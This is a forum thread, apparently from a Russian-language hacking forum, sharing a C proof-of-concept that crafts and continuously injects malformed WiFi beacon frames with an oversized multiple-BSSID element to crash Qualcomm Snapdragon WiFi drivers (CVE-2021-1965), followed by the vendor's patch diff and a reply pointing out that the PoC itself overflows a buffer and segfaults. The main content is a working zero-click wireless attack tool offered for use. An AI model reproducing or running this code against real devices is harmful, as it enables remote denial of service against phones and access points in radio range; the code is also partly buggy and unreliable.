• XSS.stack #1 – первый литературный журнал от юзеров форума

DoS Zero-Click PoC Trigger for CVE-2021-1965 (Qualcomm SnapDragon WiFi Driver RCE)

Tomm

CD-диск
Пользователь
Регистрация
04.02.2022
Сообщения
10
Реакции
8

C:
//https://www.oreilly.com/library/view/80211-wireless-networks/0596100523/ch04.html
/* there is structure of the beacon frame. i added here for the further reading*/

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <pcap/pcap.h>
#pragma pack(push,1)                                                            //disable data allignment

#define SSID_ID                         (uint8_t)0x00                           // ssid id -> 0
#define SUPPORTED_RATES_ID              (uint8_t)0x01                           // supported rates -> 1
#define DS_PARAM_ID                     (uint8_t)0x03                           // current channel -> 3
#define RSN_ID                          (uint8_t)0x30                           // rsn id -> 48                                     
#define EXT_CAP                         (uint8_t)0x7f                           // Ext cap ->127
#define ERP_ID                          (uint8_t)0x2a                           // erp id -> 42
#define MBSSID_ID                       (uint8_t)0x47                           // mbssid id 0x47 -> 71
#define TIM_ID                          (uint8_t)0x05                           // tim id -> 5
#define TCP_REP_ID                      (uint8_t)0x23                           // tcp report id -> 35
#define VENDOR_ID                       (uint8_t)0xdd                           // vendor spesific id 0xdd -> 221
/*   we have to reverse hex values because of little endian */

#define rev2(x)        (x&0xff00)>>8 | (x&0x00ff)<<8                               
#define rev4(x)     (uint32_t)x<<24 | ((uint32_t)x<<8)&0xff0000 | ((uint32_t)x>>8)&0xff00 | (uint32_t)x>>24

uint64_t rev8(uint64_t x) {
    x = (x & 0x00000000FFFFFFFF) << 32 | (x & 0xFFFFFFFF00000000) >> 32;
    x = (x & 0x0000FFFF0000FFFF) << 16 | (x & 0xFFFF0000FFFF0000) >> 16; //0x000fac04
    x = (x & 0x00FF00FF00FF00FF) << 8  | (x & 0xFF00FF00FF00FF00) >> 8;
    return x;
}   
struct header
{
        uint16_t fc;                        /**< 802.11 Frame Control field */
        uint16_t duration;                  /**< Microseconds to reserve link */
        uint8_t addr1[6];                   /**< Address 1 (immediate receiver) */
        uint8_t addr2[6];                   /**< Address 2 (immediate sender) */
        uint8_t addr3[6];                   /**< Address 3 (often "forward to") */
        uint16_t seq;                       /**< 802.11 Sequence Control field */
}hdr;

struct beaconframe
{
        /** 802.11 TSFT value at frame send */
        uint64_t  timestamp;

        /** Interval at which beacons are sent, in units of 1024 us */
        uint16_t beacon_interval;

        /** Capability flags */
        uint16_t capability;
}beacon;

struct ie_header {                               
        uint8_t id;                                  /**< Information ID */
        uint8_t len;                                 /**< Information length */
        union {
                uint8_t erp_info;                    /**< ERP flags */                       /* i assigned one structure for the similar ies */
                uint8_t current_channel;             /**< Current channel number, 1-14 */           
        };

};                  //erp and ds parameter id necessary for now

struct ie_ssid {                               
        uint8_t id;                                  /**< Information ID */
        uint8_t len;                                 /**< Information length */
        uint8_t ssid[32];                            /**< SSId as hex */
}ssid;

struct ie_ext_or_rates{
        uint8_t id;                                  /**< Information ID */
        uint8_t len;                                 /**< Information length */
        union {
                uint8_t rates[8];                    /**< Rates data, one rate per byte */
                uint8_t extended_cap[8];             /**< Ext capability info*/
        };
}sup_rates,ext_cap;

struct wlan_tim_ie {
    uint8_t id;                              /* WLAN_ELEMID_TIM */
    uint8_t len;
    uint8_t tim_count;                           /* DTIM count */
    uint8_t tim_period;                          /* DTIM period */
    uint8_t tim_bitctl;                          /* bitmap control */
    uint8_t tim_bitmap[251];                     /* variable-length bitmap */
}tim;

struct tcp_report{
        uint8_t id;
        uint8_t len;
        uint8_t transmit_power;
        uint8_t link_margin;
}tcp;

struct rsn {
        /** Information element ID */
        uint8_t id;

        /** Information element length */
        uint8_t len;

        /** RSN information element version */
        uint16_t version;

        /** Cipher ID for the cipher used in multicast/broadcast frames */
        uint32_t group_cipher;

        /** Number of unicast ciphers supported */
        uint16_t pairwise_count;

        /** List of cipher IDs for supported unicast frame ciphers */
        uint32_t pairwise_cipher;

        /** Number of authentication types supported */
        uint16_t akm_count;

        /** List of authentication type IDs for supported types */
        uint32_t akm_list;

        /** Security capabilities field (RSN only) */
        uint16_t rsn_capab;

        /** Number of PMKIDs included (present only in association frames) */
        uint16_t pmkid_count;

        /** List of PMKIDs included, each a 16-byte SHA1 hash */
        //uint8_t pmkid_list[0];                        // i didn't add pmkid list beacuse we assigned pmkid count as 0
        uint8_t group_management_cipher[4];
}rsn;

struct multiple_bssid
{
        uint8_t id;                          // mbssid id 0x47 -> 71
        uint8_t len;                         // bssid count -> default 4
        uint8_t max_mbssid_indicator;        // default 4       
        
        uint8_t sub_id;
        uint8_t sub_len;
        uint8_t sub_info[252];
        
}mbssid;

struct vendor_spesific
{
        uint8_t id;
        uint8_t len;
        uint8_t oui[3];
        uint8_t oui_type;
        uint8_t oui_data[251];
}vendor;


int brodcast(void *buf,int bufsize)
{       
        pcap_t *fp;
        char errbuf[PCAP_ERRBUF_SIZE];
        fp= pcap_open_live("wlan0",                     // iface (example : wlan0)
                        100,                            // portion of the packet to capture (only the first 100 bytes)
                        PCAP_OPENFLAG_PROMISCUOUS,      // promiscuous mode (monitor mode)
                        1000,                           // read timeout
                        errbuf                          // error buffer
                        );
        while(1)
        {
                /* Send packets to freedom */
                if (pcap_inject(fp,buf, bufsize ) == 0)   // pcap_inject returns 0 on failure
                        {
                                printf("\uppps\n");
                                return 0;
                        }
        }
        return 1;
}
//calculate RSN IE size
uint8_t rsn_size ( int npair, int nauth) {           
        uint8_t len = 14 + 4 * ( npair + nauth );    //  id + len + version + group + pairwise count + auth count + rsn = 14
        char hex[2];
        sprintf(hex, "%x", len);
        return strtol(hex,NULL,16)+4 ;            // convert decimal to hex (subtracting the header size (header -> id and lenght) and add group management cipher and pmkid count len (-2+6))
}

uint8_t convert_to_hex(size_t len){
        uint8_t hex[2];
        sprintf(hex,"%lx",len);
        return (uint8_t)strtol(hex,NULL,16);
}
int main(){

        /*------------------ RADIOTAP ----------------------*/
        uint8_t RADIOTAP[] ={    0x00 ,0x00 ,0x34 ,0x00 ,0x6f ,0x08 \
                                ,0x10 ,0x40 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0c ,0xf7 ,0x17 ,0x40 ,0x01 \
                                ,0x1e ,0xa0 ,0x00 ,0x00 ,0x00 ,0x00 ,0x48 ,0x00 ,0x13 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0b \
                                ,0x86 ,0x00 ,0x0a ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x8b ,0x00 ,0x00 ,0x00 ,0x55 ,0x01};

        /*------------------ Header -----------------*/
        struct header *hdrp = malloc(sizeof(hdr));                     

        hdrp->fc = rev2(0x8000);
        hdrp->duration = 0x0000;

        uint8_t dest[6] = {0xff,0xff,0xff,0xff,0xff,0xff};           // broadcast
        uint8_t src[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41};            // source
        uint8_t bssid[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41};          // bssid

        memcpy(hdrp->addr1,dest,sizeof(dest));
        memcpy(hdrp->addr2,src,sizeof(src));                    // i used memcpy for copy arrays to relevant addresses
        memcpy(hdrp->addr3,bssid,sizeof(bssid));

        hdrp->seq = 0x9480;             // we can change randomly
        /*------------------ Managment Block -------------*/
        struct beaconframe *beaconp = malloc(sizeof(beacon));             

        beaconp->timestamp = rev8(0x8351f78f0f000000);          // we can change randomly
        beaconp->beacon_interval = rev2(0x6400);
        beaconp->capability = rev2(0x1105); 
        /*----------------------- SSID -----------------*/
        uint8_t ssidname[] = {0x41,0x41};                               // we can change randomly         
        size_t ssid_size = sizeof(ssidname)+offsetof(struct ie_ssid,ssid);                           
        struct ie_ssid *ssidp = malloc(ssid_size);           
                            
        
        
        ssidp->id = SSID_ID;
        ssidp->len = convert_to_hex(sizeof(ssidname));
        memcpy(ssidp->ssid, ssidname, sizeof(ssidname));              // ssidp has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer
        /*--------------------- Supported rates -----------*/
        struct ie_ext_or_rates * sup_rates_p = malloc(sizeof(sup_rates));

        uint8_t rates[8] = {0x8c,0x12,0x98,0x24,0xb0,0x48,0x60,0x6c};

        sup_rates_p->id = SUPPORTED_RATES_ID;
        sup_rates_p->len = 0x08;
        memcpy(sup_rates_p->rates,rates,sizeof(rates));

        /*------------ Traffic Indication Map-----------*/
        uint8_t tim_bitmap[] = {0x00}; // we can change randomly (max len 251)
        size_t tim_size = sizeof(tim_bitmap)+offsetof(struct wlan_tim_ie, tim_bitmap);

        struct wlan_tim_ie * timp = malloc(tim_size);


        timp->id = TIM_ID;
        timp->len = convert_to_hex(sizeof(tim_bitmap)+3);    // +3 is count,period and bitctl
        timp->tim_count = 0x00;
        timp->tim_period = 0x01;
        timp->tim_bitctl = 0x00;
        memcpy(timp->tim_bitmap,tim_bitmap,sizeof(tim_bitmap)); // tim has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer
        /*------------ TCP Report Power -------------*/
        struct tcp_report *tcp_reportp = malloc(sizeof(tcp));

        tcp_reportp->id = TCP_REP_ID;
        tcp_reportp->len = 0x02;
        tcp_reportp->transmit_power = 0x05;
        tcp_reportp->link_margin = 0x00;
        /*--------------- RSN IE -------------*/
        struct rsn * rsnp = malloc(rsn_size(1,1)+2);

        rsnp->id = RSN_ID;
        rsnp->len = rsn_size(1,1);     
        rsnp->version = rev2(0x0100);
        rsnp->group_cipher = rev4(0x000fac04);        // 000fac04 (CCMP)
        rsnp->pairwise_count = rev2(0x0100);          // 1
        rsnp->pairwise_cipher = rev4(0x000fac04);     
        rsnp->akm_count = rev2(0x0100);
        rsnp->akm_list = rev4(0x000fac02);           //000fac02 (PSK)
        rsnp->rsn_capab = 0xe800;
        rsnp->pmkid_count = 0x0000;
        memcpy(rsnp->group_management_cipher,"\x00\x0f\xac\x06",sizeof("\x00\x0f\xac\x06")-1); // subtracting null byte

        /*------------ MBSSID ----------------*/
        uint8_t sub_info[] = {   0x53,0x02,0x11,0x15,0x00,0x13,0x72,0x6f,0x75,0x74,0x65 \
                                ,0x72,0x2d,0x33,0x34,0x31,0x31,0x2d,0x6e,0x61,0x74,0x65,0x2d,0x36,0x67,0x55,0x03 \
                                ,0x0f,0x01,0x00,0x30,0x14,0x01,0x00,0x00,0x0f,0xac,0x04,0x01,0x00,0x00,0x0f,0xac \
                                ,0x04,0x01,0x00,0x00,0x0f,0xac,0x08,0xcc,0x00,0x7f,0x0b,0x04,0x00,0x4f,0x02,0x00 \
                                ,0x00,0x00,0x40,0x00,0x40,0x08,0xdd,0x17,0x8c,0xfd,0xf0,0x01,0x01,0x02,0x01,0x00 \
                                ,0x02,0x01,0x01,0x03,0x03,0x01,0x01,0x00,0x04,0x01,0x01,0x09,0x02,0x0f,0x03,0xdd \
                                ,0x18,0x00,0x50,0xf2,0x02,0x01,0x01,0x80,0x00,0x03,0xa4,0x00,0x00,0x27,0xa4,0x00 \
                                ,0x00,0x42,0x43,0x5e,0x00,0x62,0x32,0x2f,0x00,0xdd,0x16,0x8c,0xfd,0xf0,0x04,0x00 \
                                ,0x00,0x49,0x4c,0x51,0x03,0x02,0x09,0x72,0x01,0xcb,0x17,0x00,0x00,0x04,0x11,0x00 \
                                ,0x00,0xdd,0x07,0x8c,0xfd,0xf0,0x04,0x01,0x01,0x01};


        size_t mbssid_size = offsetof(struct multiple_bssid ,sub_info) + sizeof(sub_info);
        struct multiple_bssid *mbssidp = malloc(mbssid_size);


        mbssidp->id = MBSSID_ID;
        mbssidp->len = convert_to_hex(sizeof(sub_info)+3);              // 3 is sub_id+sub_len+max_bssid;
        mbssidp->max_mbssid_indicator = 0x04;
        mbssidp->sub_id = 0x00;
        mbssidp->sub_len = convert_to_hex(sizeof(sub_info));
        memcpy(mbssidp->sub_info,sub_info,sizeof(sub_info));                     //mbssid has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer
        /*-------------- Vendor Spesific -----------------*/

        uint8_t oui_data[] = {0x08,0x00,0x00,0x00};
        uint8_t oui[3] = {0x00,0x0c,0xe7};

        size_t vendor_size = sizeof(oui_data)+ offsetof(struct vendor_spesific,oui_data);
        struct vendor_spesific *vendorp = malloc(vendor_size);

        vendorp->id = VENDOR_ID;
        vendorp->len = convert_to_hex(sizeof(oui_data)+4);
        memcpy(vendorp->oui,oui,sizeof(oui));
        vendorp->oui_type = 0x08;
        memcpy(vendorp->oui_data,oui_data,sizeof(oui_data));
        /*--------------------Not important IEs----------------------*/
        // these ies are not important in our case.  we just need them

        uint8_t not_important[] =     {  0xff,0x03,0x37,0x02,0x01,0xff,0x1d \
                                        ,0x23,0x05,0x01,0x08,0x9a,0x40,0x10,0x04,0x60,0x08,0x88,0x1d,0x41,0x81,0x1c,0x11 \
                                        ,0x08,0x00,0xfa,0xff,0xfa,0xff,0x79,0x1c,0xc7,0x71,0x1c,0xc7,0x71,0xff,0x0c,0x24 \
                                        ,0xf4,0x3f,0x02,0x38,0xfc,0xff,0x25,0x02,0x27,0x00,0x01,0xff,0x0e,0x26,0x00,0x08 \
                                        ,0xa9,0xff,0x2f,0xa9,0xff,0x45,0x75,0xff,0x65,0x75,0xff,0xff,0x03,0x3b,0xb8,0x36 };
        /*---------------------------------------------------------------*/
        uint8_t empty[vendor_size*76];
        for (int i = 0 ; i < vendor_size*76 ; i++ )
        {                                                                       // i am copiying vendor spesific ie end of the ies N times (N = 76 for now) 
                empty[i] = ((uint8_t*)vendorp)[i%vendor_size];
        }
        size_t bufsize = sizeof(not_important)+sizeof(RADIOTAP) + sizeof(hdr)+ sizeof(beacon)+ ssid_size + sizeof(sup_rates) + tim_size + sizeof(tcp) + (rsn_size(1,1)+2) + mbssid_size+vendor_size*76 ;
        void *buf = malloc(bufsize);

        size_t const_size = sizeof(RADIOTAP)+ sizeof(hdr) + sizeof(beacon);
        
        memcpy(buf,RADIOTAP,sizeof(RADIOTAP));                  // copy informations to buffer
        memcpy(buf+sizeof(RADIOTAP),hdrp,sizeof(hdr));
        memcpy(buf+sizeof(hdr)+sizeof(RADIOTAP),beaconp,sizeof(beacon));
        memcpy(buf+const_size,ssidp,ssid_size);
        memcpy(buf+const_size+ssid_size,rsnp,rsn_size(1,1)+2);
        memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2),sup_rates_p,sizeof(sup_rates));
        memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates),mbssidp,mbssid_size);
        memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+mbssid_size,timp,tim_size);
        memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size,tcp_reportp,sizeof(tcp));
        memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp),not_important,sizeof(not_important));
        memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp)+sizeof(not_important),empty,sizeof(empty));
        
        brodcast(buf,bufsize);

        return EXIT_SUCCESS;

}




C:
author    Jyoti Kumari <jyotkuma@codeaurora.org>    2021-02-03 17:10:16 +0530
committer    snandini <snandini@codeaurora.org>    2021-02-17 11:13:18 -0800
commit    a426e5e1668fff3dfe8bde777a9340cbc129f8df (patch)
tree    917d034ad4651701c597d3343e980e63a4719a5e
parent    cded00d1182a0948f31380f653a2f265c0cf7b23 (diff)
qcacmn: Fix out of bound issue in util_scan_parse_mbssid()
During multiple BSSID scan ie parse, there is memory allocation
on new_ie variable of size 1024 which may create buffer overflow
in util_gen_new_ie() if ie length is greater than 1024.

As part of fix, allocate memory of size ie length in new_ie.
And also add check before copying to pos variable in
util_gen_new_ie().

Change-Id: I55e0819817b5a616684067170bf28a314a145fc2
CRs-Fixed: 2867353
Diffstat
-rw-r--r--    umac/scan/dispatcher/src/wlan_scan_utils_api.c    94   
        
1 files changed, 42 insertions, 52 deletions
diff --git a/umac/scan/dispatcher/src/wlan_scan_utils_api.c b/umac/scan/dispatcher/src/wlan_scan_utils_api.c
index 058724e..a44232f 100644
--- a/umac/scan/dispatcher/src/wlan_scan_utils_api.c
+++ b/umac/scan/dispatcher/src/wlan_scan_utils_api.c
@@ -1800,6 +1800,7 @@ static uint32_t util_gen_new_ie(uint8_t *ie, uint32_t ielen,
     uint8_t *pos, *tmp;
     const uint8_t *tmp_old, *tmp_new;
     uint8_t *sub_copy;
+    size_t tmp_rem_len;
 
     /* copy subelement as we need to change its content to
      * mark an ie after it is processed.
@@ -1815,12 +1816,10 @@ static uint32_t util_gen_new_ie(uint8_t *ie, uint32_t ielen,
     tmp_new = util_scan_find_ie(WLAN_ELEMID_SSID, sub_copy, subie_len);
     if (tmp_new) {
         scm_debug(" SSID %.*s", tmp_new[1], &tmp_new[2]);
-        if ((pos - new_ie + tmp_new[1] + 2) > MAX_IE_LEN) {
-            qdf_mem_free(sub_copy);
-            return 0;
+        if ((pos + tmp_new[1] + 2) <= (new_ie + ielen)) {
+            qdf_mem_copy(pos, tmp_new, tmp_new[1] + 2);
+            pos += (tmp_new[1] + 2);
         }
-        qdf_mem_copy(pos, tmp_new, tmp_new[1] + 2);
-        pos += (tmp_new[1] + 2);
     }
 
     /* go through IEs in ie (skip SSID) and subelement,
@@ -1840,13 +1839,12 @@ static uint32_t util_gen_new_ie(uint8_t *ie, uint32_t ielen,
         if (!tmp) {
             /* ie in old ie but not in subelement */
             if (tmp_old[0] != WLAN_ELEMID_MULTIPLE_BSSID) {
-                if ((pos - new_ie + tmp_old[1] + 2) >
-                    MAX_IE_LEN) {
-                    qdf_mem_free(sub_copy);
-                    return 0;
+                if ((pos + tmp_old[1] + 2) <=
+                    (new_ie + ielen)) {
+                    qdf_mem_copy(pos, tmp_old,
+                             tmp_old[1] + 2);
+                    pos += tmp_old[1] + 2;
                 }
-                qdf_mem_copy(pos, tmp_old, tmp_old[1] + 2);
-                pos += tmp_old[1] + 2;
             }
         } else {
             /* ie in transmitting ie also in subelement,
@@ -1855,59 +1853,53 @@ static uint32_t util_gen_new_ie(uint8_t *ie, uint32_t ielen,
              * vendor ie, compare OUI + type + subType to
              * determine if they are the same ie.
              */
-            if (tmp_old[0] == WLAN_ELEMID_VENDOR) {
+            tmp_rem_len = subie_len - (tmp - sub_copy);
+            if (tmp_old[0] == WLAN_ELEMID_VENDOR &&
+                tmp_rem_len >= 7) {
                 if (!qdf_mem_cmp(tmp_old + 2, tmp + 2, 5)) {
                     /* same vendor ie, copy from
                      * subelement
                      */
-                    if ((pos - new_ie + tmp[1] + 2) >
-                        MAX_IE_LEN) {
-                        qdf_mem_free(sub_copy);
-                        return 0;
+                    if ((pos + tmp[1] + 2) <=
+                        (new_ie + ielen)) {
+                        qdf_mem_copy(pos, tmp,
+                                 tmp[1] + 2);
+                        pos += tmp[1] + 2;
+                        tmp[0] = 0;
                     }
-                    qdf_mem_copy(pos, tmp, tmp[1] + 2);
-                    pos += tmp[1] + 2;
-                    tmp[0] = 0;
                 } else {
-                    if ((pos - new_ie + tmp_old[1] + 2) >
-                        MAX_IE_LEN) {
-                        qdf_mem_free(sub_copy);
-                        return 0;
+                    if ((pos + tmp_old[1] + 2) <=
+                        (new_ie + ielen)) {
+                        qdf_mem_copy(pos, tmp_old,
+                                 tmp_old[1] + 2);
+                        pos += tmp_old[1] + 2;
                     }
-                    qdf_mem_copy(pos, tmp_old,
-                             tmp_old[1] + 2);
-                    pos += tmp_old[1] + 2;
                 }
             } else if (tmp_old[0] == WLAN_ELEMID_EXTN_ELEM) {
                 if (tmp_old[2] == tmp[2]) {
                     /* same ie, copy from subelement */
-                    if ((pos - new_ie + tmp[1] + 2) >
-                        MAX_IE_LEN) {
-                        qdf_mem_free(sub_copy);
-                        return 0;
+                    if ((pos + tmp[1] + 2) <=
+                        (new_ie + ielen)) {
+                        qdf_mem_copy(pos, tmp,
+                                 tmp[1] + 2);
+                        pos += tmp[1] + 2;
+                        tmp[0] = 0;
                     }
-                    qdf_mem_copy(pos, tmp, tmp[1] + 2);
-                    pos += tmp[1] + 2;
-                    tmp[0] = 0;
                 } else {
-                    if ((pos - new_ie + tmp_old[1] + 2) >
-                        MAX_IE_LEN) {
-                        qdf_mem_free(sub_copy);
-                        return 0;
+                    if ((pos + tmp_old[1] + 2) <=
+                        (new_ie + ielen)) {
+                        qdf_mem_copy(pos, tmp_old,
+                                 tmp_old[1] + 2);
+                        pos += tmp_old[1] + 2;
                     }
-                    qdf_mem_copy(pos, tmp_old,
-                             tmp_old[1] + 2);
-                    pos += tmp_old[1] + 2;
                 }
             } else {
                 /* copy ie from subelement into new ie */
-                if ((pos - new_ie + tmp[1] + 2) > MAX_IE_LEN) {
-                    qdf_mem_free(sub_copy);
-                    return 0;
+                if ((pos + tmp[1] + 2) <= (new_ie + ielen)) {
+                    qdf_mem_copy(pos, tmp, tmp[1] + 2);
+                    pos += tmp[1] + 2;
+                    tmp[0] = 0;
                 }
-                qdf_mem_copy(pos, tmp, tmp[1] + 2);
-                pos += tmp[1] + 2;
-                tmp[0] = 0;
             }
         }
 
@@ -1925,12 +1917,10 @@ static uint32_t util_gen_new_ie(uint8_t *ie, uint32_t ielen,
         if (!(tmp_new[0] == WLAN_ELEMID_NONTX_BSSID_CAP ||
               tmp_new[0] == WLAN_ELEMID_SSID ||
               tmp_new[0] == WLAN_ELEMID_MULTI_BSSID_IDX)) {
-            if ((pos - new_ie + tmp_new[1] + 2) > MAX_IE_LEN) {
-                qdf_mem_free(sub_copy);
-                return 0;
+            if ((pos + tmp_new[1] + 2) <= (new_ie + ielen)) {
+                qdf_mem_copy(pos, tmp_new, tmp_new[1] + 2);
+                pos += tmp_new[1] + 2;
             }
-            qdf_mem_copy(pos, tmp_new, tmp_new[1] + 2);
-            pos += tmp_new[1] + 2;
         }
         if (((tmp_new + tmp_new[1] + 2) - sub_copy) >= subie_len)
             break;
@@ -1976,7 +1966,7 @@ static QDF_STATUS util_scan_parse_mbssid(struct wlan_objmgr_pdev *pdev,
 
     pos = ie;
 
-    new_ie = qdf_mem_malloc(MAX_IE_LEN);
+    new_ie = qdf_mem_malloc(ielen);
     if (!new_ie)
         return QDF_STATUS_E_NOMEM;
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В самом PoC уже есть переполнение буфера ;)

...
char hex[2];
sprintf(hex, "%x", len);
...

sprintf записывает 0 в конце, а буфер у него ровно на 2 символа. буфер должен быть хотя бы 3 байта

у меня вываливается в SIGSEGV :

...
gdb) backtrace
#0 0x00007ffff7f54bf4 in pcap_inject () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#1 0x000055555555532a in brodcast (buf=0x55555555a460, bufsize=1125) at CVE-2021-1965-poc.c:167
#2 0x00005555555560f7 in main () at CVE-2021-1965-poc.c:338
...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх